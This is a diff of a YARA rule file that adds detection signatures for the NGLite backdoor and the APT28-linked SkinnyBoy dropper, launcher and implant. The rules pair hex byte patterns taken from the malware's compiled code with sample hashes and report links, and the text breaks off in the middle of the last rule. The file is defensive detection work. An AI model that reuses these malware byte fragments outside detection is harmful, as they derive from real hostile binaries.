+		$s1 = { 48 8b 05 48 e7 90 00 48 8d 0d 99 4b 99 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 08 02 00 00 e8 82 21 00 00 48 8b 44 24 18 48 85 c0 74 33 48 3d 08 02 00 00 77 2b 48 8d 1d 69 4b 99 00 c6 04 03 5c 48 ff c0 48 89 05 4b 3f 99 00 e9 d6 fe ff ff 31 c0 e8 8f fc 02 00 ba 09 02 00 00 e8 b5 fc 02 00 48 8d 05 fe d5 55 00 48 89 04 24 48 c7 44 24 08 24 00 00 00 e8 cc 44 00 00 31 c0 e8 65 fc 02 00 90 e8 af d2 02 }
+		$s2 = { 48 83 ec 70 48 89 6c 24 68 48 8d 6c 24 68 48 c7 44 24 30 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 8b 05 bf dc 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 28 48 89 44 24 18 e8 39 17 00 00 48 83 7c 24 20 00 74 35 31 c0 31 c9 eb 24 48 89 ca 48 89 c1 bb 01 00 00 00 48 d3 e3 48 23 5c 24 30 48 8d 72 01 48 85 db 48 0f 45 d6 48 ff c0 48 89 d1 48 83 f8 40 7c d6 48 85 c9 75 3e 0f 57 c0 0f 11 44 24 38 0f 11 44 24 48 0f 11 44 24 58 48 8b 05 23 dc 90 00 48 89 04 24 48 8d 44 24 38 48 89 44 24 08 e8 10 16 00 00 8b 44 24 58 89 44 24 78 48 8b 6c 24 68 48 83 c4 70 c3 89 4c 24 78 48 8b 6c 24 68 48 }
+		$s3 = { 48 8b 05 60 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 02 07 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 10 03 00 00 48 85 c0 0f 84 80 00 00 00 48 8b 05 29 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 cb 06 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 18 03 00 00 48 85 c0 74 0a 48 8b 6c 24 30 48 83 c4 38 c3 48 8d 05 ac e0 56 00 48 89 04 24 e8 1b b6 02 00 48 8b 05 e4 cb 90 00 48 8b 4c 24 40 48 8b 91 10 03 00 00 48 89 04 24 48 89 54 24 08 e8 5a 05 00 00 48 8b 44 24 40 48 c7 80 10 03 00 00 00 00 00 00 eb b3 48 8d 05 61 e0 56 00 48 89 04 24 e8 d8 b5 02 00 e9 6b ff ff ff 48 8b 6c 24 30 48 83 c4 38 }
+		$s4 = { 48 81 ec a0 00 00 00 48 89 ac 24 98 00 00 00 48 8d ac 24 98 00 00 00 48 c7 44 24 48 00 00 00 00 48 8b 05 8a c9 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 c7 44 24 10 fe ff ff ff 48 c7 44 24 18 ff ff ff ff 48 8d 44 24 48 48 89 44 24 20 0f 57 c0 0f 11 44 24 28 48 c7 44 24 38 02 00 00 00 e8 3b 05 00 00 65 48 8b 04 25 28 00 00 00 48 8b 80 00 00 00 00 48 8b 40 30 48 8b 4c 24 48 48 87 88 78 02 00 00 0f 57 c0 0f 11 44 24 68 0f 11 44 24 78 0f 11 84 24 88 00 00 00 48 8b 05 5f c8 90 00 48 89 04 24 48 8d 44 24 68 48 89 44 24 08 48 8d 44 24 68 48 89 44 24 10 48 c7 44 24 18 30 00 00 00 e8 59 03 00 00 48 83 7c 24 20 }
+		$s5 = { 48 8b 15 26 29 92 00 48 89 14 24 48 89 4c 24 08 48 89 44 24 10 48 c7 44 24 18 00 10 00 00 48 c7 44 24 20 04 00 00 00 e8 71 64 01 00 48 83 7c 24 28 00 40 0f 94 c6 48 8b 44 24 38 48 8b 4c 24 48 48 8b 54 24 68 48 8b 5c 24 40 e9 61 ff ff ff 48 8b 6c 24 50 48 83 c4 58 c3 48 8b 6c 24 50 48 83 c4 58 c3 e8 25 91 01 00 48 8d 05 e2 b8 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 bc 9a 01 00 48 8b 44 24 38 48 89 04 24 e8 be 97 01 00 48 8d 05 9a b1 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 95 9a 01 00 8b 44 24 34 48 89 04 24 e8 98 97 01 00 e8 73 93 01 00 e8 5e 91 01 00 48 8d }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >40KB and 4 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_2 : FILE
+{
+	meta:
+		description = "Detect NGLite backdoor (version B)"
+		author = "Arkbird_SOLG"
+		id = "e18f2891-366b-5cff-a17e-63523bfd9cee"
+		date = "2021-11-08"
+		modified = "2021-11-09"
+		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_2.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "4d44d208010ca17f47f597f7d9eb5ee39d91a2d9077218a173ef0015699dc296"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d"
+		hash2 = "805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f"
+		tlp = "white"
 		adversary = "-"
 
 	strings:
-		$seq1 = { c7 45 cc 00 00 00 00 c7 04 24 68 5d 40 00 e8 40 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 89 44 24 04 c7 04 24 89 5d 40 00 e8 0c 0e 00 00 c7 04 24 a4 5d 40 00 e8 18 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 01 45 cc c7 04 24 d0 07 00 00 e8 7d 0e 00 00 83 ec 04 8b 85 a0 fd ff ff 8d 48 0a 0f b7 85 be fd ff ff 0f b7 c0 8d 95 98 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 89 4c 24 08 c7 44 24 04 2e 01 00 00 89 04 24 e8 75 05 00 00 83 ec 14 89 45 e8 8b 45 e8 83 c0 38 83 }
-		$seq2 = { 0f b7 85 be fd ff ff 0f b7 c0 8b 55 e4 89 54 24 08 c7 44 24 04 06 00 00 00 89 04 24 e8 7e 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 b8 fd ff ff 89 54 24 08 c7 44 24 04 00 00 00 00 89 04 24 e8 5f 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 f8 16 00 00 83 ec 14 89 45 e0 8d 85 ac fd ff ff 89 44 24 08 c7 44 24 04 03 00 00 00 c7 04 24 04 00 00 00 e8 dc 16 00 00 83 ec 0c 8b 45 e0 83 c0 38 83 f8 }
-		$seq3 = { 8b 85 a8 fd ff ff 8b 50 14 8b 85 a8 fd ff ff 8b 40 10 0f af c2 89 45 d8 8b 45 d8 89 44 24 04 c7 04 24 04 5b 40 00 e8 aa 12 00 00 8b 85 a4 fd ff ff 0f b7 40 04 0f b7 c0 89 44 24 04 c7 04 24 24 5b 40 00 e8 8d 12 00 00 8b 85 a8 fd ff ff 8b 50 18 8b 85 a8 fd ff ff 8b 40 1c 0f af c2 89 45 d4 c7 45 f0 00 00 00 00 8b 45 d8 89 44 24 04 c7 04 24 45 5b 40 00 e8 5b 12 00 00 83 45 f0 01 83 7d f0 01 7e e3 8b 85 a0 fd ff ff c7 40 06 01 00 00 00 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 60 ed ff ff 89 45 d0 }
-		$seq4 = { c7 45 ec 00 00 00 00 8d 85 c4 fd ff ff 89 44 24 04 c7 04 24 03 00 02 0b e8 47 1b 00 00 83 ec 08 89 45 e8 83 7d e8 00 74 18 c7 04 24 92 50 40 00 e8 8b 23 00 00 c7 04 24 ff ff ff ff e8 8f 23 00 00 c7 04 24 aa 50 40 00 e8 8b 23 00 00 c7 04 24 f5 ff ff ff e8 ef 23 00 00 83 ec 04 c7 44 24 04 03 00 00 00 89 04 24 e8 e4 23 00 00 83 ec 08 c7 04 24 b8 0b 00 00 e8 dd 23 00 00 83 ec 04 c7 04 24 c4 50 40 00 e8 4e 23 00 00 8d 85 c4 fd ff ff 83 c0 06 89 44 24 04 c7 04 24 ed 50 40 00 e8 1d 23 00 00 8d 85 c4 fd ff ff 05 07 01 00 00 89 44 24 04 c7 04 24 03 51 40 00 e8 02 23 00 00 0f b7 85 c8 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 1a 51 40 00 e8 e8 22 00 00 0f b7 85 c6 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 2f 51 40 00 e8 ce 22 00 00 0f b7 85 c4 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 42 51 40 00 e8 b4 22 00 00 c7 04 24 54 51 40 00 e8 c0 22 00 00 8d 85 c0 fd ff ff 89 04 24 e8 46 1a 00 00 83 ec 04 8b 85 c0 fd ff ff 8d 95 be fd ff ff 89 54 24 20 c7 44 24 1c 00 00 00 00 8d 95 c4 fd ff ff 89 54 24 18 c7 44 24 14 0f 00 02 0b c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 7f 51 40 00 e8 f9 19 00 00 83 ec 24 89 45 e8 8b 45 e8 83 c0 36 83 f8 }
+		$s1 = { 8b 05 64 ?? bf 00 8d 0d e0 ?? c6 00 89 04 24 89 4c 24 04 c7 44 24 08 08 02 00 00 e8 d0 1d 00 00 8b 44 24 0c 85 c0 74 2e 3d 08 02 00 00 77 27 8d 1d e0 ?? c6 00 c6 04 03 5c 40 89 05 24 ?? c6 00 e9 0b ff ff ff 31 c0 e8 44 9f 02 00 ba 09 02 00 00 e8 6a 9f 02 00 8d 05 ?? 7b 8a 00 89 04 24 c7 44 24 04 24 00 00 00 e8 a4 3b 00 00 31 c0 e8 1d 9f 02 00 90 e8 57 86 02 }
+		$s2 = { 83 ec 40 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 8b 05 70 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff 8d 44 24 18 89 44 24 08 8d 44 24 14 89 44 24 0c e8 21 15 00 00 8b 44 24 10 85 c0 74 32 31 c0 31 c9 eb 03 40 89 d1 83 f8 20 7d 20 19 d2 89 cb 89 c1 bd 01 00 00 00 d3 e5 21 d5 23 6c 24 18 85 ed 74 05 8d 53 01 eb dc 89 da eb d8 85 c9 75 2d 8d 7c 24 1c 31 c0 e8 63 98 02 00 8b 0d 60 ?? bf 00 89 0c 24 8d 4c 24 1c 89 4c 24 04 e8 46 14 00 00 8b 4c 24 30 89 4c 24 44 83 c4 40 c3 89 4c 24 44 83 c4 40 c3 e8 4d 7d 02 00 e9 38 }
+		$s3 = { 0f b6 2c 13 95 80 f8 80 95 72 f0 c7 44 24 20 00 00 00 00 8b 0d 7c ?? bf 00 89 0c 24 89 44 24 04 8d 4c 24 20 89 4c 24 08 e8 77 0b 00 00 8b 44 24 0c 85 c0 75 4a c7 44 24 1c 00 00 00 00 8b 05 20 ?? bf 00 89 04 24 8b 44 24 24 89 44 24 04 8b 44 24 30 89 44 24 08 8b 44 24 34 89 44 24 0c 8d 44 24 1c 89 44 24 10 c7 44 24 14 00 00 00 00 e8 f1 0b 00 00 8b 44 24 1c 89 44 24 38 83 c4 28 c3 8b 44 24 24 89 04 24 8b 44 24 30 89 44 24 04 8b 44 24 34 89 44 24 08 e8 59 00 00 00 8b 44 24 }
+		$s4 = { 83 ec 50 c7 44 24 24 00 00 00 00 8b 05 88 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff c7 44 24 08 fe ff ff ff c7 44 24 0c ff ff ff ff 8d 44 24 24 89 44 24 10 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 1c 02 00 00 00 e8 09 04 00 00 64 8b 05 14 00 00 00 8b 80 00 00 00 00 8b 40 18 84 00 05 68 01 00 00 89 04 24 8b 44 24 24 89 44 24 04 e8 d2 86 fd ff 8d 7c 24 34 31 c0 e8 60 86 02 00 8b 05 30 ?? bf 00 89 04 24 8d 44 24 34 89 44 24 04 8d 44 24 34 89 44 24 08 c7 44 24 0c 1c 00 00 00 e8 b1 02 00 00 8b 44 24 }
+		$s5 = { 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ed 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b4 01 00 00 85 c0 74 7e 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ad 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b8 01 00 00 85 c0 74 04 83 c4 18 c3 8d 05 ?? ?? 8b 00 89 04 24 e8 c9 6c 02 00 8b 05 98 ?? bf 00 8b 4c 24 1c 8b 91 b4 01 00 00 89 04 24 89 54 24 04 e8 ad 04 00 00 8b 44 24 1c c7 80 b4 01 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >40KB and 4 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Skinnyboy_Dropper_Jun_2021_1 : FILE
+{
+	meta:
+		description = "Detect SkinnyBoy Dropper"
+		author = "Arkbird_SOLG"
+		id = "1ea4cfe7-d44d-5cdb-8436-cb2b09dd2e56"
+		date = "2021-05-01"
+		modified = "2021-06-06"
+		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Dropper_Jun_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "805bc5bb5833a75d68df2a6ce828d70b2257809a3699fdca5e621aae6bdc5070"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
+		tlp = "White"
+		adversary = "APT28"
+
+	strings:
+		$s1 = { 55 8b ec b8 48 12 00 00 e8 a3 52 00 00 a1 00 d0 40 00 33 c5 89 45 fc 56 57 68 08 02 00 00 8d 85 cc ed ff ff 50 51 ff 15 2c 80 40 00 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 8d 85 cc ed ff ff 50 c7 85 b8 ed ff ff 00 00 00 00 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 12 6a 00 56 ff 15 58 80 40 00 56 8b f8 ff 15 20 80 40 00 8d 85 c8 ed ff ff 50 8d 95 b8 ed ff ff 8d 8d cc ed ff ff 89 bd c8 ed ff ff e8 bc fd ff ff 8b bd b8 ed ff ff b8 4d 5a 00 00 83 c4 04 66 39 07 74 1b 68 c1 00 00 00 ff 15 34 80 40 00 5f 5e 8b 4d fc 33 cd e8 fe 08 00 00 8b e5 }
+		$s2 = { 8b 47 3c 81 3c 07 50 45 00 00 75 d9 8b 47 1c 8b b5 c8 ed ff ff 8b 4f 20 2b f0 85 c9 74 04 8b f1 2b f0 53 56 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 8b 4f 1c 56 03 cf 8b d8 51 53 89 9d c4 ed ff ff e8 96 5d 00 00 68 08 02 00 00 8d 85 f4 f9 ff ff 6a 00 50 e8 33 25 00 00 83 c4 18 8d 85 f4 f9 ff ff 50 6a 00 6a 00 68 1c 80 00 00 6a 00 ff 15 30 81 40 00 b8 18 00 00 00 68 ee 00 00 00 66 89 85 0c fc ff ff 8d 85 0e fc ff ff 6a 00 50 c7 85 fc fb ff ff 00 00 3f 00 c7 85 00 fc ff ff 47 00 5b 00 c7 85 04 fc ff ff 09 00 19 00 c7 85 08 fc ff ff 08 00 0d 00 e8 d1 24 00 00 f3 0f 7e 05 c4 bd 40 00 a1 d4 bd 40 00 68 ec 00 00 00 89 85 0c ff ff ff 66 0f d6 85 fc fe ff ff f3 0f 7e 05 cc bd 40 00 8d 85 10 ff ff ff 6a 00 50 66 0f d6 85 04 ff ff ff e8 93 24 00 00 83 c4 18 33 }
+		$s3 = { 0f b7 8c 05 fc fe ff ff 66 31 8c 05 fc fb ff ff 0f b7 8c 05 fe fe ff ff 66 31 8c 05 fe fb ff ff 0f b7 8c 05 00 ff ff ff 66 31 8c 05 00 fc ff ff 0f b7 8c 05 02 ff ff ff 66 31 8c 05 02 fc ff ff 83 c0 08 3d 00 01 00 00 72 b6 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fb ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 8d 85 f4 f9 ff ff 50 ff 15 28 80 40 00 68 d8 00 00 00 8d 85 24 fe ff ff 6a 00 50 c7 85 fc fd ff ff 1f 00 33 00 c7 85 00 fe ff ff 58 00 4e 00 c7 85 04 fe ff ff 5d 00 1b 00 c7 85 08 fe ff ff 59 00 27 00 c7 85 0c fe ff ff 70 00 2d 00 c7 85 10 fe ff ff 16 00 13 00 c7 85 14 fe ff ff 03 00 1c 00 c7 85 18 fe ff ff 0d 00 2a 00 c7 85 1c fe ff ff 07 00 51 00 c7 85 20 fe ff ff 08 00 13 00 e8 8f 23 00 00 f3 0f 7e 05 d8 bd 40 00 66 a1 00 be 40 00 66 0f d6 85 fc fe ff ff f3 0f 7e 05 e0 bd 40 00 66 0f d6 85 04 ff ff ff f3 0f 7e 05 e8 bd 40 00 66 0f d6 85 0c ff ff ff f3 0f 7e 05 f0 bd 40 00 68 d6 00 00 00 66 89 85 24 ff ff ff 66 0f d6 85 14 ff ff ff f3 0f 7e 05 f8 bd 40 00 8d 85 26 ff ff ff 6a 00 50 66 0f d6 85 1c ff ff ff e8 1f 23 00 00 83 c4 18 33 }
+		$s4 = { 0f b7 84 0d fc fe ff ff 66 31 84 0d fc fc ff ff 0f b7 84 0d fe fe ff ff 66 31 84 0d fe fc ff ff 0f b7 84 0d 00 ff ff ff 66 31 84 0d 00 fd ff ff 0f b7 84 0d 02 ff ff ff 66 31 84 0d 02 fd ff ff 83 c1 08 81 f9 00 01 00 00 72 b5 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fc ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 6a 00 8d 85 c0 ed ff ff 50 6a 00 6a 01 56 53 8b 1d 00 80 40 00 c7 85 c0 ed ff ff 00 00 00 00 ff d3 ff b5 c0 ed ff ff 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 6a 00 6a 00 8d 8d c0 ed ff ff 51 50 6a 01 56 ff b5 c4 ed ff ff 89 85 bc ed ff ff ff d3 8b 85 c0 ed ff ff 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 89 85 b8 ed ff ff 68 00 00 00 40 8d 85 f4 f9 ff ff 50 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b 1d 38 80 40 00 83 fe ff 74 55 3d b7 00 00 00 75 0b 6a 00 6a 00 6a 00 56 ff }
+		$s5 = { 55 8b ec 83 ec 0c a1 00 d0 40 00 33 c5 89 45 fc 53 8b 5d 08 56 57 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 51 89 55 f4 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 67 83 ff 02 74 62 6a 00 56 ff 15 58 80 40 00 89 03 85 c0 74 47 c7 45 f8 00 00 00 00 ff 15 0c 80 40 00 ff 33 6a 08 50 ff 15 08 80 40 00 8b 4d f4 6a 00 89 01 8d 4d f8 51 ff 33 50 56 ff 15 14 80 40 00 56 ff 15 20 80 40 00 8b c7 5f 5e 5b 8b 4d fc 33 cd e8 d4 0a 00 00 8b e5 }
+		$s6 = { 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Skinnyboy_Launcher_Jun_2021_1 : FILE
+{
+	meta:
+		description = "Detect the Launcher of SkinnyBoy"
+		author = "Arkbird_SOLG"
+		id = "4e69cba4-92ef-5ea5-95d8-b22ed77f515c"
+		date = "2021-06-05"
+		modified = "2021-06-06"
+		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Launcher_Jun_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "4d5906832a1bc90552255ada1cc9e3c7cd3e14e4b0cb11b1bf2c11c57bca8ad8"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
+		tlp = "White"
+		adversary = "APT28"
+
+	strings:
+		$s1 = { 55 8b ec 83 e4 f8 81 ec bc 06 00 00 a1 00 e0 40 00 33 c4 89 84 24 b8 06 00 00 53 56 57 33 c0 68 06 02 00 00 50 66 89 84 24 b8 02 00 00 8d 84 24 ba 02 00 00 50 8b f1 e8 64 31 00 00 8b 1d 28 90 40 00 0f 57 c0 83 c4 0c 8d 84 24 9c 02 00 00 50 c7 84 24 a0 02 00 00 79 00 00 00 66 0f d6 84 24 a4 02 00 00 66 0f d6 84 24 ac 02 00 00 c7 84 24 78 02 00 00 57 00 00 00 66 0f d6 84 24 7c 02 00 00 66 0f d6 84 24 84 02 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 85 d2 74 1b 8d 9b 00 00 00 00 66 8b 84 4c 74 02 00 00 66 31 84 4c 9c 02 00 00 41 3b ca 72 eb a1 80 cd 40 00 89 84 24 88 02 00 00 0f b7 05 84 cd 40 00 66 89 84 24 8c 02 00 00 a1 88 cd 40 00 89 84 24 74 02 00 00 0f b7 05 8c cd 40 00 66 89 84 24 78 02 00 00 0f 57 c0 8d 84 24 88 02 00 00 50 66 0f d6 84 24 92 02 00 00 c7 84 24 9a 02 00 00 00 00 00 00 66 c7 84 24 9e 02 00 00 00 00 66 0f d6 84 24 7e 02 00 00 c7 84 24 86 02 00 00 00 00 00 00 66 c7 84 24 8a 02 00 00 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 }
+		$s2 = { 66 8b 84 4c 74 02 00 00 66 31 84 4c 88 02 00 00 41 3b ca 72 eb 6a 64 6a 08 ff 15 30 90 40 00 50 ff 15 34 90 40 00 8b 1d 3c 90 40 00 89 44 24 0c 56 8d 84 24 b4 02 00 00 50 ff d3 8b 3d 44 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 68 90 cd 40 00 8d 84 24 b4 02 00 00 50 ff d3 8d 44 24 20 50 8d 84 24 b4 02 00 00 50 ff 15 40 90 40 00 8b f0 8d 84 24 b0 02 00 00 50 89 74 24 14 ff 15 40 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 83 fe ff 0f 84 21 02 00 00 8b 35 2c 90 40 00 8d 9b 00 00 00 00 8d 84 24 9c 02 00 00 50 8d 44 24 50 50 ff d6 85 }
+		$s3 = { ff 15 20 90 40 00 8d 44 24 14 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 28 ff 15 04 90 40 00 ff 15 20 90 40 00 6a 00 56 8d 44 24 54 50 ff 74 24 20 ff 15 14 90 40 00 ff 15 20 90 40 00 6a 00 8d 44 24 20 50 ff 74 24 14 c7 44 24 28 64 00 00 00 6a 02 ff 74 24 24 ff 15 10 90 40 00 ff 74 24 14 ff 15 00 90 40 00 6a 00 ff 74 24 1c ff 15 0c 90 40 00 8b 74 24 1c 8b 4c 24 0c ba 90 ed 40 00 83 ee }
+		$s4 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 }
+		$s5 = { 55 8b ec 81 ec 6c 04 00 00 a1 00 e0 40 00 33 c5 89 45 fc 56 33 c0 68 06 02 00 00 50 66 89 85 f0 fb ff ff 8d 85 f2 fb ff ff 50 8b f1 e8 8f 33 00 00 68 04 01 00 00 8d 85 f0 fb ff ff 6a 00 50 e8 7c 33 00 00 83 c4 18 56 ff 15 48 91 40 00 85 c0 0f 84 b6 01 00 00 b8 69 00 00 00 68 d2 00 00 00 66 89 85 24 ff ff ff 8d 85 26 ff ff ff 6a 00 50 c7 85 f8 fe ff ff 1f 00 16 00 c7 85 fc fe ff ff 0b 00 22 00 c7 85 00 ff ff ff 78 00 7c 00 c7 85 04 ff ff ff 00 00 55 00 c7 85 08 ff ff ff 5b 00 2e 00 c7 85 0c ff ff ff 3f 00 03 00 c7 85 10 ff ff ff 04 00 04 00 c7 85 14 ff ff ff 0d 00 15 00 c7 85 18 ff ff ff 47 00 44 00 c7 85 1c ff ff ff 47 00 14 00 c7 85 20 ff ff ff 09 00 68 00 e8 dd 32 00 00 f3 0f 7e 05 48 cd 40 00 66 0f d6 85 f8 fd ff ff f3 0f 7e 05 50 cd 40 00 66 0f d6 85 00 fe ff ff f3 0f 7e 05 58 cd 40 00 66 0f d6 85 08 fe ff ff f3 0f 7e 05 60 cd 40 00 66 0f d6 85 10 fe ff ff f3 0f 7e 05 68 cd 40 00 68 d0 00 00 00 66 0f d6 85 18 fe ff ff f3 0f 7e 05 70 cd 40 00 8d 85 28 fe ff ff 6a 00 50 66 0f d6 85 20 fe ff ff e8 6a 32 00 00 83 c4 18 33 }
+		$s6 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+}
+rule ARKBIRD_SOLG_MAL_Skinnyboy_Implant_Jun_2021_1 : FILE
+{
+	meta:
+		description = "Detect SkinnyBoy Implant"
+		author = "Arkbird_SOLG"
+		id = "2c78e0f3-a0b3-56fb-b4d2-313c03f1331b"
+		date = "2021-06-05"
+		modified = "2021-06-06"
+		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Implant_Jun_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "37d6b03adaad0a97e91a366d8e5ce47bc0eb77263849422129edf9df28d25bd8"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
+		tlp = "White"
+		adversary = "APT28"
+
+	strings:
+		$s1 = { 55 8b ec 81 ec 48 01 00 00 a1 00 00 01 10 33 c5 89 45 fc 53 56 57 6a 00 6a 00 6a 00 8b c2 6a 00 68 6c ef 00 10 89 85 d0 fe ff ff 89 8d cc fe ff ff 89 85 e4 fe ff ff c7 85 c0 fe ff ff 01 00 00 00 c7 85 d8 fe ff ff 00 00 00 00 c7 85 dc fe ff ff 00 00 00 00 ff 15 e4 b1 00 10 8b 1d a4 b0 00 10 8b f0 89 b5 d4 fe ff ff ff d3 8b 3d d4 b1 00 10 85 f6 74 26 6a 04 8d 85 ec fe ff ff 50 6a 06 56 c7 85 ec fe ff ff c0 27 09 00 ff d7 6a 04 8d 85 ec fe ff ff 50 6a 05 56 ff d7 ff d3 85 f6 74 22 6a 01 6a 00 6a 03 6a 00 6a 00 68 bb 01 00 00 ff b5 cc fe ff ff 56 ff 15 cc b1 00 10 89 85 d8 fe ff ff ff d3 8b 4d 08 8b 3d e8 b1 00 10 81 f9 00 00 a0 00 0f 83 a7 